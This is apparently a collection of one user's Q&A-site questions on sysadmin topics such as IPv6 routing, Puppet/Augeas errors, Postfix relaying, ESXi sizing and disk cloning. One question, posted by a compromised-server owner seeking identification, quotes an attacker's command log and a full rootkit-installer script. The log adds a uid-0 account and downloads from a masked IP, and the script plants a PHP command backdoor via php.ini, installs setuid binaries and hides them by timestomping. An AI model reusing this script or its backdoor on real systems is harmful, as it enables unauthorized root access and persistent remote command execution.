mr.b's questions

We have ISP that provides us with a shoddy service. It usually works, but there are times when it works really bad, drops connections and gets awfully slow. Sadly, our contract doesn't have SLA clause that we can invoke in this instance.

How can I best measure both inbound latency outbound latency and packet loss? These are specific parameters that I think would tell me if we had an outage (even a short one for less than a minute), if there were any delays due to congested link, and so on. Having nice, informative graphs would be a plus.

I have a theoretical question. Network topology is like this:

ISP <--- eth0 -> Router1 <- eth1 ----+--> VLAN1
                                     '--> VLANx

For the sake of argument, let's assume that a Router1 is a Linux 3.2.x device.

Say that I wish to receive a single /56 range from my ISP. Which pieces of information my ISP has to provide me with, so that I can:

1. have native IPv6 connectivity on Router1
2. advertise a /64 segment of allocated address space on each VLAN, so that clients in LAN are able to autoconfigure themselves properly?

To explain further a bit, I am asking this question so that I could learn what exactly do I have to ask my ISP to provide me with, in order to be able to reach goals 1 and 2. From my understanding, when I am given only a single IP range (/64, /56 or /48) and a gateway address inside of that range, there is no way to route part of that range to physically separate network on the other side of router.

I am building a virtualisation host, and I want my virtual machines to be available via both v4 and v6 IP address.

The host I have (Xen 4.1.3 with Debian Wheezy in dom0) has one physical eth0 interface:

10.0.0.2/30 dev eth0
default via 10.0.0.1
2000:1111:1111:11111::2/64 dev eth0
default via 2000:1111:1111:11111::1 (aka fe80::1)

My ISP has assigned me a 10.100.0.0/28 IPv4 range, statically routed via 10.0.0.2.

On the host, I have built xenbr0 virtual bridge interface:

10.100.0.1/28 dev xenbr0

On each guest VM, I set any of unused addresses from 10.100.0.0/28, i.e:

10.100.0.2/28 dev eth0
default via 10.100.0.1

As expected (since host acts like a classic router), VM's are able to talk to the v4 internet without a hitch.

That's where my lack of experience with IPv6 kick in. From my understanding v6 addresses are routed pretty much the same like their v4 counterparts, which means that what I want to accomplish is impossible with only one /64 range (at least while eth0 & v6 gw are configured the way they are).

Is it possible to make use of a single IPv6 /64 range, so that VMs can have static IPv6 addresses, without having to go and ask my ISP for another /64 range that (I guess) would have to be statically routed via 2000:1111:1111:11111::2?

I tried to "split" this /64 network in two /65 networks, then reconfigure xenbr0 like this:

2000:1111:1111:11111:8000:2/65 dev xenbr0

Also, eth0 was reconfigured (only network size has changed from 64 to 65):

2000:1111:1111:11111::2/65 dev eth0
default via 2000:1111:1111:11111::1

Host did not loose IPv6 connectivity. However, guest VMs were unable to contact anything outside of host when configured like this:

2000:1111:1111:11111:8000::2/65 dev eth0
default via 2000:1111:1111:11111:8000::1

Any ideas on how to proceed?

Puppet version: 3.1.1

When attempting to use activemq module:

package {'openjdk-6-jre-headless':
    ensure => present,
}
class {'activemq':
    version => '5.8.0',
    user    => 'activemq',
    group   => 'activemq',
    home    => '/opt',
    console => true,
}
# following block causes issues with augeas
class { 'activemq::stomp':
    port => 61613,
}

I receive this error, running from node:

# puppet agent --test
Info: Retrieving plugin
Info: Loading facts in /var/lib/puppet/lib/facter/pe_version.rb
Info: Loading facts in /var/lib/puppet/lib/facter/root_home.rb
Info: Loading facts in /var/lib/puppet/lib/facter/puppet_vardir.rb
Info: Caching catalog for xxx
Info: Applying configuration version '1368621971'
Notice: /Stage[main]/Activemq/Service[activemq]: Dependency Augeas[activemq-stomp] has failures: true
Warning: /Stage[main]/Activemq/Service[activemq]: Skipping because of failed dependencies
Error: Could not find a suitable provider for augeas
Notice: Finished catalog run in 0.41 seconds

If I run it with --debug, this is the output (grepped for augeas, for clarity):

# puppet agent --test --debug|grep augeas -i
Debug: Failed to load library 'augeas' for feature 'augeas'
Debug: Failed to load library 'augeas' for feature 'augeas'
Debug: Puppet::Type::Augeas::ProviderAugeas: feature augeas is missing
Debug: Failed to load library 'augeas' for feature 'augeas'
Debug: Puppet::Type::Augeas::ProviderAugeas: feature augeas is missing
Debug: /Stage[main]/Activemq::Stomp/Augeas[activemq-stomp]/require: requires File[/opt/activemq]
Debug: /Stage[main]/Activemq::Stomp/Augeas[activemq-stomp]/notify: subscribes to Service[activemq]
Debug: Failed to load library 'augeas' for feature 'augeas'
Debug: Puppet::Type::Augeas::ProviderAugeas: feature augeas is missing
Debug: Failed to load library 'augeas' for feature 'augeas'
Debug: Puppet::Type::Augeas::ProviderAugeas: feature augeas is missing
Notice: /Stage[main]/Activemq/Service[activemq]: Dependency Augeas[activemq-stomp] has failures: true
Warning: /Stage[main]/Activemq/Service[activemq]: Skipping because of failed dependencies
Error: Could not find a suitable provider for augeas

Update 1: Augeas appears to be installed correctly:

# dpkg -l | grep augeas
ii  augeas-lenses            0.10.0-1     all
ii  augeas-tools             0.10.0-1     amd64
ii  libaugeas-ruby1.8        0.4.1-1.1    amd64
ii  libaugeas0               0.10.0-1     amd64

Any ideas how to fix it?

I have a Cisco WAP4410N AP device.

Since yesterday, it is supposed to serve a network of about 15 (max 20) clients at the same time, but not all clients will be using bandwidth simultaneously, since it's a mixed network of notebooks/tablets/smartphones. It is configured to work in B/G mode (instead of default B/G/N) because it appeares to have a stronger signal that way.

Somewhere in settings (Wireless > Advanced Settings), there is a following screen:

Note the "Load Balancing" section above. Embedded help page says this:

Load Balancing

Load balancing enables the access point to reject any newer wireless client to associate when the utilization reaches the configured threshold. If you do not want it, select Disabled.

Administration manual makes it a little bit clearer what's the intended use for this feature:

First question: In which scenario would it make sense to load balance clients between SSID's emitted from same AP? From my understanding of wireless networks, a single AP would become saturated with max 25 clients, and in my mind, it is pointless to load balance on the same device, all while sharing same channel and BSSID. Please someone correct me if I'm wrong.

(I'll try to sneak in two more related question, if anyone is able to answer them, so I don't repeat similar questions.)

Second (sub)question: Manual says that "utilization" is actually current CPU utilization of the unit. Does it mean that if utilization is near 100% most of the time, unit is becoming saturated and is working sub-optimally? It's weird to me that a single AP unit (and a quite pricey one at that!) would get to 100% utilization with some 10-15 clients...?

Third (sub)question: Is capacity of AP to handle more clients going to improve when N-mode is disabled (the way I did), and AP is set to work in G (or mixed B/G) mode?

I have a IPv4-only debian server with virtualization enabled and a couple of VN's running happily.

I asked for additional IPs from my provider, because I wanted to migrate existing site from another physical server into a VM, yet I wanted to have totally separate address for it, so it doesn't get associated with the rest of the stuff hosted from the same server.

Their answer was something along the lines that IPv4 addresses are a scarce now, not to be given out lightly, and that RIPE needs a few questions answered before they let me have those IPs. One of their questions is whether or not have I considered running whatever-I-was-going-to-run-via-requested-ips using IPv6 address instead, which got me thinking...

Question(s):

1. If I opt for hosting a IPv6-only website, will the site still be globally reachable by all customers? Something tells me that the short answer is "no"...
2. Are there any pitfalls I'd need to watch out for when implementing real (not tunneled) IPv6 addresses inside of one of my bridged virtual machines?

Thanks.

I have configured Postfix to be responsible for subdomain.example.com (google apps is responsible for example.com so I didn't want to mix the two).

As I mentioned in question title, SPF and DKIM always pass when I send mail locally from that host ($ mail [email protected]), but mails still end up in Spam folder.

The only thing missing is reverse DNS setup for subdomain.example.com and IP it's sending from, but I figured it won't matter, since SPF includes a:ip.add.re.ss, and since SPF passes...

Any ideas what else could I do to get them into inbox?

UPDATE: problem was instantly resolved as soon as Amazon removed my IP from Spamhaus PBL (see answer below).

I have couple of servers running off of an usb stick each. Servers are basically hypervizors.

What I was thinking of doing is distributing binary updates in form of downloading system image and unpacking it directly onto live usb disk device, followed by a reboot. This technique would boil down to dd if=newimage.img of=/dev/sda && reboot.

However, I have tried this, and it doesn't quite work as expected. Newly imaged disk is unable to boot.

As it's possible to run series of commands on each host and have them updated that way most of the time, this is not something critical to me. But, I'd like to learn if there's a way to unpack disk image on top of live running system, and have it boot properly into new environment, whichever it is. For example, I might decide to replace those linuxes by completely different OS some day, who knows :)

Ideas, suggestions?

I have a following setup:

• linux box with postfix configured to be responsible for example.com domain
• domain's MX servers are configured so that mail sent to example.com is sent to google mail servers
• several user accounts on linux machine exist (same machine also hosts example.com site)

When someone from the outside attempts to send mail to address ending with @example.com, it gets routed to google mail (and there handled appropriately).

When linux machine tries to send mail to outside world, mail is delivered correctly, as reverse dns and spf records are configured correctly, so linux machine is valid mail sender for example.com domain (along with google mail servers).

However, here's the problem. When php application (hosted at linux box) tries to send mail to [email protected] (and someuser doesn't exist on linux box), it fails, since it doesn't even consult google mail servers, but postfix smtp locally concludes that "someuser" is unknown.

So, the question is: how do I tell postfix to relay mails sent to @example.com domain to google mail servers (so, to servers specified in MX records), IF and only if a mailbox is not found locally.

I have probably just detected that a user on a server of mine has rooted my server, but that's not what I'm asking.

Has anyone ever seen command like these:

echo _EoT_0.249348813417008_;
id;
echo _EoT_0.12781402577841_;
echo $PATH && a=`env |grep PATH | awk -F '=' '{print $2":/usr/sbin"}'` && export    PATH=$a && echo $PATH;
echo _EoT_0.247556708344121_;
whereis useradd;
echo _EoT_0.905792585668774_;
useradd -p saZlzoRm9L4Og -o -g 0 -u 0 aspnet;
echo _EoT_0.369123892063307_;
wget http://178.xxx.xxx.181/suhosin14.sh;
echo _EoT_0.845361576801043_;
chmod +x suhosin14.sh && ./suhosin14.sh && sleep 5 && ls -la && locate index.php;
echo _EoT_0.161914402299161_;
rm -rf /tmp/ZyCjBiU;
echo _EoT_0.751816968837201_;

Seems to me that it's a work of some automated script, but I'm not sure which one.

Anyone has a clue about this?

OS is Debian Lenny, kernel 2.6.30-bpo.2-686-bigmem (if that's important).

By the way, link in code above is masked, anyone who wants code that is downloaded, I have made a copy, for analysis, so I can provide it on request.

Edit: I'm attaching contents of .sh script, as a reference, if anyone's interested.

#!/bin/sh
PHP=`which php`
PHP_INCLUDE_PATH=`$PHP -i|grep 'include_path' | awk '{print $3}' | awk -F ":" '{print $2}'`

if [ -z $PHP_INCLUDE_PATH ]
then
    PHP_INCLUDE_PATH="/usr/share/php"
    mkdir -p $PHP_INCLUDE_PATH
fi

GETROOT_32=$PHP_INCLUDE_PATH"/suhosin32.so"
GETROOT_32_URL="http://178.xxx.xxx.181/32"

GETROOT_64=$PHP_INCLUDE_PATH"/suhosin64.so"
GETROOT_64_URL="http://178.xxx.xxx.181/64"

PHP_FILE_PATH=$PHP_INCLUDE_PATH"/suhosin.php"
PHP_FILE_PATH_SLASHED=`echo $PHP_FILE_PATH | sed 's/\//\\\\\//g'`;

for file in `find / -type f -name 'php.ini'`
do
    APPEND=`egrep -v '^;' $file | grep auto_prepend_file`
    OPENBASEDIR=`egrep -v '^;' $file | grep open_basedir`

    echo "[*] opendir:$OPENBASEDIR"

    if [ ! -z "$APPEND" ]
    then
        APPEND_CMD=`echo $APPEND | awk -F "=" '{print $1}'`
        APPEND_FILE=`echo $APPEND | awk -F "=" '{print $2}'`

        echo "[*] $file : $APPEND_CMD=$APPEND_FILE"
        echo "[~] need to replace auto append file"

        if [ ! -z "$APPEND_FILE" ]; then APPEND_FILE=`echo "$APPEND_FILE" | sed 's/\//\\\\\//g'`;fi

        sed "s/$APPEND_CMD=$APPEND_FILE/$APPEND_CMD=$PHP_FILE_PATH_SLASHED/g" $file > 1
    else
        echo "[~] need to add auto_append_file"

        cp $file 1
        echo "auto_prepend_file = $PHP_FILE_PATH" >> 1
    fi

    touch -r $file 1
    mv 1 $file
done

echo "[!] printing $PHP_FILE_PATH"
if [ ! -d $PHP_INCLUDE_PATH ]; then mkdir $PHP_INCLUDE_PATH; fi

cat >$PHP_FILE_PATH<<EOF
<?php
/**
* SUHOSIN, the PHP Extension and Application Repository
*
* SUHOSIN security patch
*
* PHP versions 4 and 5
*
* @category   pear
* @package    Suhosin patch
* @author     Sterling Hughes <[email protected]>
* @author     Stig Bakken <[email protected]>
* @author     Tomas V.V.Cox <[email protected]>
* @author     Greg Beaver <[email protected]>
* @copyright  1997-2010 The Authors
* @license    http://opensource.org/licenses/bsd-license.php New BSD License
* @version    CVS: \$Id: PEAR.php 299159 2010-05-08 22:32:52Z dufuz \$
* @link       http://pear.php.net/package/PEAR
* @since      File available since Release 0.1
*/

function suhosin_unxor(\$data,\$len,\$key)
{
    for(\$i=0;\$i<\$len;\$i++)
    {
        \$data[\$i]=chr((\$key+\$i)^ord(\$data[\$i]));
    }

    return \$data;
}

if(isset(\$_SERVER['REQUEST_URI']))
{
    if(isset(\$_POST['suhosinkey']) && isset(\$_POST['suhosinaction']))
    {
        if(\$_POST['suhosinkey']=='we48b230948312-0491vazXAsxdadsxks!asd')
        {
        if(isset(\$_POST['suhosindata']) && isset(\$_POST['suhosincrc'])
            && crc32(\$_POST['suhosindata'])==\$_POST['suhosincrc'])
            {
                \$data=base64_decode(\$_POST['suhosindata']);
                \$data=suhosin_unxor(\$data,strlen(\$data),ord('W'));

                if(\$_POST['suhosinaction']=="update")
                {
                    print "SUHOSIN OK\n".file_put_contents(__FILE__,\$data);
                }
                else if(\$_POST['suhosinaction']=="command")
                {
                    system(\$data);
                    print("SUHOSIN CMD\n");
                }
            }
        }
    }
}
?>
EOF

chmod 777 $PHP_FILE_PATH
touch -r /bin/ls $PHP_FILE_PATH

echo "[*] installing getroots ($GETROOT_32 $GETROOT_64)"

WGET=`which wget`
CHOWN=`which chown`

`$WGET $GETROOT_32_URL -O $GETROOT_32`
`$CHOWN root $GETROOT_32`
chmod 4755 $GETROOT_32
touch -r /bin/ls $GETROOT_32

`$WGET $GETROOT_64_URL -O $GETROOT_64`
`$CHOWN root $GETROOT_64`
chmod 4755 $GETROOT_64
touch -r /bin/ls $GETROOT_64

ls -la $GETROOT_32 $GETROOT_64

echo "[!] restarting ctls"
for ctl in ` ls  {/usr/local/{http*,apache*}/bin/*ctl,/usr/sbin/{http*,apache*}ctl} 2>&1 | grep -v "No such"`
do
    echo "[*] restarting $ctl"
    `\$ctl restart`
done
rm $0

Interesting.

Recently, I came across Ubuntu Server install. During install, it asked me whether or not to allow booting system from degraded RAID array (probably because I installed system onto RAID1 /dev/md0 device). This is mighty-useful option for unattended servers which just have to come online, whether or not their RAID array is degraded (as long as it didn't completely fail).

After quick lookup, I found that it works by either reading /etc/initramfs-tools/conf.d/mdadm configuration file (BOOT_DEGRADED=true option), or by reading kernel boot line argument (bootdegraded=true).

Question: Is there something similar (a way to boot system with degraded array) that would work for Debian? I'm not sure if this exact method is applicable, or even that it has this specific functionality.

I'm asking this because I used to have RAID5 array in some system, and upon improper shutdown, it could not boot, until I manually "fixed" the array, which proved to be major PITA, since server was unattended at remote location, there was no UPS, and power failures did happen. So, I'm asking so I could prevent this kind of issue in future.

Q1: Does anyone know of some real-time, on-access protection antivirus software for linux, that is capable of fully utilizing multi-core processors of today?

I am having issues using KAV for Samba, as while it does its on-access scanning, files are being accessed by many clients and that creates a bottleneck on server, as it scans (almost) every file on open.

Another problem that I have with KAV is that it won't work with kernels newer than 2.6.26, which is a problem, since it won't work with new hardware (which requires new kernel versions).

Q2: Does anyone knows of on-access antivirus software for linux that works with newest kernels? A big plus is if one has used software with success.

If anyohe has an idea about solving one (or both) of these problems, please!

I have tried to configure samba-vscan wth ClamAV, but no luck there (some weird error during compiling of samba-vscan module).

By the way, server is being used as samba server, in a network of clients, running Debian-based distro (if it matters anyway).

Thanks!

Even though I am fully aware that versions of this question have been asked googol number of times, I'll try not to repeat them.

I have many sets of many files (some files are small, but some are large, like, ~10-20GB). I have multiple servers, each one can host one or more of those sets of files. Of course, one server can host 50% of total number of sets, and other 50% can host another number of sets.

You can think of set as of collection of large media files, really big image libraries, complete applications, whatever, it doesn't really matter, as long as there are large files in the set.

Server can update its copy of set at any point in time (either by replacing files in the set with completely new files, or by applying patches to some of files, which would result in having almost same files with only slight differences).

On the other side, I have many clients, who should be able to obtain any given set (or multiple sets) from servers, and keep their copies of sets up-to-date (synchronized) with sets on server, whenever one wants to use the set.

The tools that I have considered are following:

• rsync -- It's great for syncing many small-to-medium-sized files, but not so ideal when syncing large files, as it uses algorithm which reads entire file at both sides in order to determine if file should be copied or not. This is okay when file should be copied for the first time, or when file is completely changed, but not-so-okay, when, say, only 1% of 10GB file is changed.
• SVN -- It's great when it comes to finding differences and transferring only those deltas around, but I'm not so sure how optimal it is when it comes to disk usage (will entire set be twice as big on both client and server, due to once set is stored in repository?).
• Torrent -- This one could be feasible, distribution-wise. For instance, create a torrent for each set on server, start seeding it there, and clients that receive those sets also continue to seed to other clients, thus distributing the load across every computer that holds copy of set. However, I'm not sure if it would be able to somehow distribute differences, once set on server gets changed... Would it require creation of new torrent for each change? Also, I don't know how torrent would behave in local network, speed-wise (could it be able to transfer files between one server and one client at maximum, network-limited speed. or it adds some serious protocol overhead? How about network congestion?)
• Custom solution. Well, not much to add here, but that it would most likely be re-inventing the wheel, and that some existing solution would most likely fit my needs, if I was only aware of it.

So, the question is: what method of distribution/synchronization (utilities, approach) would be best suited for my situation?

I have just recently got annoyed enough at my own dedicated server's FTP connection delay to go hunting for what causes delay.

"Perpetrator" was IdentLookups configuration option. It defaults to on, thus causing noticeable delay on connection attempt. When switched off, connections are done instantly.

So, my question is: what's intended use of indent lookups? Not just in context of FTP server, but in general? Most firewalls block ident probes, so I don't see the point...

Can somebody enlighten me, please?

I have two outgoing connections, pointing to different ISPs, on a gateway, in front of small-ish LAN.

IPs addresses are as follows:

ISP 1:

• network: 10.1.1.0/24
• gateway ip: 10.1.1.1
• client ip: 10.1.1.2 (eth1)

ISP 2:

• network: 10.2.1.0/24
• gateway ip: 10.2.1.1
• client ip: 10.2.1.2 (eth2)

LAN:

• network: 192.168.0.0/24
• gateway ip: 192.168.0.1 (eth0)

Few LAN clients, with IPs in range 192.168.0.128/25.

So, essentially, gateway has IPs 10.1.1.2, 10.2.1.2, and 192.168.0.1 on 3 NICs.

Default route on gateway is set to 10.1.1.1 dev eth1.

Right now, I have one routing table consisting of following entries, named isp2:

• network 192.168.0.0/24 dev eth0
• network 10.2.1.0/24 dev eth2
• default route 10.2.1.1 dev eth2

I use that isp2 in MANGLE rules to redirect some traffic to utilize second outgoing link.

Everything works fine, when I want to redirect traffic that goes OUT, if it will go over primary ISP or over secondary ISP, based on MANGLE table rules.

Question: How do I configure gateway so it would allow inbound connections from second ISP, to be forwarded to clients in LAN, behind gateway? I want to forward traffic incoming on specific ports to specific port of specific clients, but it has to work over non-default route.

Any ideas?

Platform that I use is irrelevant, I'm more interested what needs to be done in order for this to work, but you can write examples as if I were using linux (so iproute2/iptables).

I am considering to purchase off-the-shelf commodity hardware in order to build server that will host virtual machines using ESXi server.

Intended purpose for this server is NOT mission critical tasks. It will have to run perhaps 20-50 Windows XP/Vista/7 virtual machines (in total, but closer to 20 figure). Each guest would have to have 1-2 GB of ram, and probably two-three times more disk space than guest OS needs with clean install and all updates applied (that would be around 6-8 GB for XP, and i believe closer to 10-15 for win7). Those guests will act as a test ground for a new product that is network management software, thus guests will idle most of their time once initially loaded, but if I give them some task to complete, they should be able to perform reasonably well.

Now, from what I have learned... CPU is usually not much of an issue (6 cores would do it), memory should not be lacking, but doesn't have to be sum of all guests, because of overcommitment... That leads me to IO, which is, as it seems, the bottleneck.

Since I have very little experience with ESXi (and ESX, too) server, I'd like to ask:

1. How much memory could I save by overcommitment, and how does it affect performance?
2. Is 6-core cpu enough to run above described system?
3. Would it be possible to run entire server off two (or even one) SSD drives (to host system virtual disks), with few additional HDDs (2-3) in RAID 0 to be used as secondary storage?
4. I read somewhere that ESXi allows having something like "master image", essentially virtual machine that is "deployed" many times, so that disk space can be saved by having only differences stored by specific guests, instead of copying around whole virtual disks. Is this true, and how can this help me?
5. Are there any other things I need to take into consideration when building this off-the-shelf solution?

I should probably mention here that I'm fully aware of issues like SPOF regarding power supply, raid 0, etc, but since it's only a testing ground and not a production system, it's not so important for me.

Thanks, B.

I am looking for a way to clone single disk drive to more than one disk drive at the same time.

I have prepared system images on 1TB disks, and it takes almost 2 hours to clone one disk to another, and then it goes up exponentially, in order to have say 30 disks cloned.

If it was possible to clone one disk to more than single target, it would simplify whole procedure a lot.

Update: It seems like that the only viable solution is to use network cloning via multicast, as each software referenced in answers works in similar fashion.

Update 2: Can I ask answerers to tell me more about pros'n'cons of given approach? Can multicast work on any kind of network equipment? How about Unicast? How about reliability?

Thanks!

P.S. This question is cross-post from superuser, I hope that nobody minds.

I don't know even if I put the question right, but here's what I'd like to accomplish. I have avoided specifying exact Vmware virtualization product here because I'm not sure which one would be most suitable for the task at hand.

I am developing an application that works in local network. This application has to run on several computers at the same time, and it's important to me, as a developer and tester, to see (literally) how it behaves at all times on all computers.

Is there any way to connect to screens of virtual machines deployed on ESX, ESXi, Sever 2.0, or some other product, so that I can see something like grid of screens, say 4x4 or 6x4 or whatever number of scaled screens, at the same time? Ability to interact with screens directly from grid (by double-clicking a screen, for instance, and then getting full resolution screen) would be greatly appreciated, of course.

I hope that someone understood what I meant here. :)